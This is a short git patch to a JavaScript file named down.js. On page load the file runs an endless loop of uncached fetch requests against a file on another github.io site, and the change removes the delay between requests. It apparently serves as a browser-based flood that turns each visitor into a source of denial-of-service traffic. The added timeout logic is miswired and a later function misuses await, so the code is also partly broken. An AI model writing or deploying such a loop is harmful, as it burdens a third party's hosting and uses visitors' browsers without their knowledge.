From e33c8b6fe1d9dd4f329db7a56a43272ed4cef58f Mon Sep 17 00:00:00 2001 From: Boof <97455552+hexahigh@users.noreply.github.com> Date: Wed, 18 Jan 2023 14:09:09 +0100 Subject: [PATCH] e --- js/down.js | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/js/down.js b/js/down.js index 0636c1c..c80103d 100644 --- a/js/down.js +++ b/js/down.js @@ -5,12 +5,28 @@ function delay(milliseconds){ }); } -window.onload = async function startdown(){ - while(true) { - await delay(10); - await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}) +window.onload = async function startdownV2(){ + const controller = new AbortController() + + // 5 second timeout: + + const timeoutId = setTimeout(() => controller.abort(), 5000) + while(true){ + //await delay(10); + await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => { + // completed request before timeout fired + + // If you only wanted to timeout the request, not the response, add: + // clearTimeout(timeoutId) + }) } } + /*window.onload = async function startdown(){ + while(true) { + //await delay(10); + await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}) + } + }*/ window.onload = function reload(){ await delay(60000);